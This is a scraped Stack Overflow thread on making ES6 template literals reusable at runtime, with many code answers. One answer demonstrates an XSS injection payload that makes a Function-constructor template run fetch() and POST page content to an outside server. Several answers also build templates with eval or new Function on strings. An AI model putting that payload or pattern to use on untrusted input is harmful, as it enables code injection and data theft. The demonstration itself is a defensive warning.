Can ES6 template literals be substituted at runtime (or reused)?

独自空忆成欢 提交于 2019-12-27 10:20:34

问题


tl;dr: Is it possible to make a reusable template literal?

I've been trying to use template literals but I guess I just don't get it and now I'm getting frustrated. I mean, I think I get it, but "it" shouldn't be how it works, or how it should get. It should get differently.

All the examples I see (even tagged templates) require that the "substitutions" be done at declaration time and not run time, which seems utterly useless to me for a template. Maybe I'm crazy, but a "template" to me is a document that contains tokens which get substituted when you use it, not when you create it, otherwise it's just a document (i.e., a string). A template is stored with the tokens as tokens & those tokens are evaluated when you...evaluate it.

Everyone cites a horrible example similar to:

var a = 'asd';
return `Worthless ${a}!`

That's nice, but if I already know a, I would just return 'Worthless asd' or return 'Worthless '+a. What's the point? Seriously. Okay the point is laziness; fewer pluses, more readability. Great. But that's not a template! Not IMHO. And MHO is all that matters! The problem, IMHO, is that the template is evaluated when it's declared, so, if you do, IMHO:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

Since expletive isn't declared, it outputs something like My undefined template. Super. Actually, in Chrome at least, I can't even declare the template; it throws an error because expletive is not defined. What I need is to be able to do the substitution after declaring the template:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

However I don't see how this is possible, since these aren't really templates. Even when you say I should use tags, nope, they don't work:

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

This all has led me to believe that template literals are horribly misnamed and should be called what they really are: heredocs. I guess the "literal" part should have tipped me off (as in, immutable)?

Am I missing something? Is there a (good) way to make a reusable template literal?


I give you, reusable template literals:

> function out(t) { console.log(eval(t)); }
  var template = `\`This is
  my \${expletive} reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

And here is a naive "helper" function...

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);

...to make it "better".

I'm inclined to call them template guterals because of the area from which they produce twisty feelings.


回答1:


To make these literals work like other template engines there needs to be an intermediary form.

The best way to do this is to use the Function constructor.

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

As with other template engines you can get that string from other places like a file.

There can be issues using this method like template tags are hard to use, but those can be added if you're clever. You also can't have inline JavaScript logic because of the late interpolation. This can also be remedied with some thought.




回答2:


You can put a template string in a function:

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

You can do the same thing with a tagged template:

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

The idea is to let the template parser split out the constant strings from the variable "slots", and then return a function that patches it all back together based on a new set of values each time.




回答3:


Probably the cleanest way to do this is with arrow functions (because at this point, we're using ES6 already)

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

...And for tagged template literals:

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

This also avoids the use of eval() or Function() which can cause problems with compilers and cause a lot of slowdown.




回答4:


2019 answer:

Note: The library originally expected users to sanitise strings to avoid XSS. Version 2 of the library no longer requires user strings to be sanitised (which web developers should do anyway) as it avoids eval completely.

The es6-dynamic-template module on npm does this.

const fillTemplate = require('es6-dynamic-template');

Unlike the current answers:

  • It uses ES6 template strings, not a similar format. Update version 2 uses a similar format, rather than ES6 template strings, to prevent users from using unsanitised input Strings.
  • It doesn't need this in the template string
  • You can specify the template string and variables in a single function
  • It's a maintained, updatable module, rather than copypasta from StackOverflow

Usage is simple. Use single quotes as the template string will be resolved later!

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});



回答5:


If you don't want to use ordered parameters or context/namespaces to reference the variables in your template, e.g. ${0}, ${this.something}, or ${data.something}, you can have a template function that takes care of the scoping for you.

Example of how you could call such a template:

const tempGreet = Template(() => `
  <span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"

The Template function:

function Template(cb) {
  return function(data) {
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) {
      dataKeys.push(key);
      dataVals.push(data[key]);
    }
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  }
}

The quirk in this case is you just have to pass a function (in the example I used an arrow function) that returns the ES6 template literal. I think it's a minor tradeoff to get the kind of reuseable interpolation we are after.

Here it is on GitHub: https://github.com/Adelphos/ES6-Reuseable-Template




回答6:


Simplifying the answer provided by @metamorphasi;

const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));
}

// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);

console.log(result);



回答7:


Yes you can do it by parsing your string with template as JS by Function (or eval) - but this is not recommended and allow XSS attack

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
  // Example venomous string which will 'hack' fillTemplate function
  var hosting = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";

  var domain = {Id:1234, User:22};
  var result = fillTemplate(hosting, domain); // evil string attack here

  console.log(result);

  alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);

}

window.parseString=parseString;
#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then system save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template 
with JS code (hosting variable in js code) ...
</pre>
<div id='mydiv'>
My private content
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

Instead you can safely insert object obj fields to template str in dynamic way as follows

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);


// --- test ---

// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, {...['A,B,C', 666, 'BIG']} );
console.log("ARRAY :", r2);



回答8:


Am I missing something? Is there a [good] way to make a reusable template literal?

Maybe I am missing something, because my solution to this issue seems so obvious to me that I am very surprised nobody wrote that already in such an old question.

I have an almost one-liner for it:

function defer([fisrt, ...rest]) {
  return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, fisrt);
}

That's all. When I want to reuse a template and defer the resolution of the substitutions, I just do:

> t = defer`My template is: ${null} and ${null}`;
> t('simple', 'reusable');          // 'My template is: simple and reusable'
> t('obvious', 'late to the party'; // 'My template is: obvious and late to the party'
> t(null);                          // 'My template is: null and undefined'
>
> defer`Choose: ${'ignore'} / ${undefined}`(true, false); // 'Choose: true / false'

Applying this tag returns back a 'function' (instead of a 'string') that ignores any parameters passed to the literal. Then it can be called with new parameters later. If a parameter has no corresponding replace, it becomes 'undefined'.


Extended answer

This simple code is functional, but if you need more elaborated behavior, that same logic can be applied and there are endless possibilities. You could:

  1. Make use of original parameters:

    You could store the original values passed to the literal in the construction and use them in creative ways when applying the template. They could become flags, type validators, functions etc. This is an example that uses them as default values:

    function deferWithDefaults([fisrt, ...rest], ...defaults) {
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + (i < values.length ? values[i] : defaults[i]) + curr;
      }, fisrt);
    }
    

    Then:

    > t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
    > t('awesome');                 // 'My template is: awesome and versatile' 
    
  2. Write a template factory:

    Do it by wrapping this logic in a function that expects, as argument, a custom function that can be applied in the reduction (when joining the pieces of the template literal) and returns a new template with custom behavior.

    const createTemplate = fn => function (strings, ...defaults) {
      const [first, ...rest] = strings;
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + fn(values[i], defaults[i]) + curr;
      }, first);
    };
    

    Then you could , e.g., write templates that automatically escape or sanitize parameters when writing embedded html, css, sql, bash...

    function sqlSanitize(token, tag) {
      // this is a gross simplification, don't use in production.
      const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
      const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value);
      switch (tag) {
        case 'table':
          return quoteName(token);
        case 'columns':
          return token.map(quoteName);
        case 'row':
          return token.map(quoteValue);
        default:
          return token;
      }
    }
    
    const sql = createTemplate(sqlSanitize);
    

    With this naïve (I repeat, naïve!) sql template we could build queries like this:

    > q  = sql`INSERT INTO ${'table'} (${'columns'})
    ... VALUES (${'row'});`
    > q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
    // `INSERT INTO user (id,"user name","is""Staff""?")
    // VALUES (1,'O''neil',true);`
    
  3. Accept named parameters for substitution: A not-so-hard exercise, based on what was already given. There is an implementation in this other answer.

  4. Make the return object behave like a 'string': Well, this is controversial, but could lead to interesting results. Shown in this other answer.

  5. Resolve parameters within global namespace at call site:

    I give you, reusable template literals:

    Well, this is what OP showed is his addendum, using the command evil, I mean, eval. This could be done without eval, just by searching the passed variable name into the global (or window) object. I will not show how to do it because I do not like it. Closures are the right choice.




回答9:


This is my best attempt:

var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

To generalify:

var s = (<variable names you want>) => {return `<template with those variables>`}

If you are not running E6, you could also do:

var s = function(<variable names you want>){return `<template with those variables>`}

This seems to be a bit more concise than the previous answers.

https://repl.it/@abalter/reusable-JS-template-literal




回答10:


If you are looking for something rather simple (just fixed variable fields, no computations, conditionals…) but that does work also client-side on browsers without template string support like IE 8,9,10,11…

here we go:

fillTemplate = function (templateString, templateVars) {
    var parsed = templateString;
    Object.keys(templateVars).forEach(
        (key) => {
            const value = templateVars[key]
            parsed = parsed.replace('${'+key+'}',value)
        }
    )
    return parsed
}



回答11:


In general I'm against using the evil eval(), but in this case it makes sense:

var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);

console.log(populated);         // shows 1.2

Then if you change the values and call eval() again you get the new result:

a = 3; b = 4;
populated = eval(template);

console.log(populated);         // shows 3.4

If you want it in a function, then it can be written like so:

function populate(a, b){
  return `${a}.${b}`;
}



回答12:


The short answer is just use _.template in lodash

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'



回答13:


UPDATED: The following answer is limited to single variable names, so, templates like: 'Result ${a+b}' are not valid for this case. However you can always play with the template values:

format("This is a test: ${a_b}", {a_b: a+b});

ORIGINAL ANSWER:

Based in the previous answers but creating a more "friendly" utility function:

var format = (template, params) => {
    let tpl = template.replace(/\${(?!this\.)/g, "${this.");
    let tpl_func = new Function(`return \`${tpl}\``);

    return tpl_func.call(params);
}

You can invoque it just like:

format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});

And the resulting string should be:

'This is a test: Hola, second param: Hi'



回答14:


I was annoyed at the extra redundancy needed of typing this. every time, so I also added regex to expand variables like .a to this.a.

Solution:

const interp = template => _thisObj =>
function() {
    return template.replace(/\${([^}]*)}/g, (_, k) =>
        eval(
            k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
                args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
            )
        )
    );
}.call(_thisObj);

Use as such:

console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!



回答15:


I just publish one npm package that can simply do this job. Deeply inspired by this answer.

const Template = require('dynamic-template-string');

var tpl = new Template('hello ${name}');

tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';

Its implement is deadly simple. Wish you will like it.


module.exports = class Template {
  constructor(str) {
    this._func = new Function(`with(this) { return \`${str}\`; }`);
  }

  fill(data) {
    return this._func.call(data);
  }
}



回答16:


you can use inline arrow function like this, definition:

const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;

usage:

console.log(template('my replaced string'));



回答17:


Runtime template string

var templateString = (template, values) => {
    let output = template;
    Object.keys(values)
        .forEach(key => {
        output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
    });
    return output;
};

Test

console.debug(templateString('hello ${word} world', {word: 'wonderful'}));


来源:https://stackoverflow.com/questions/30003353/can-es6-template-literals-be-substituted-at-runtime-or-reused

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!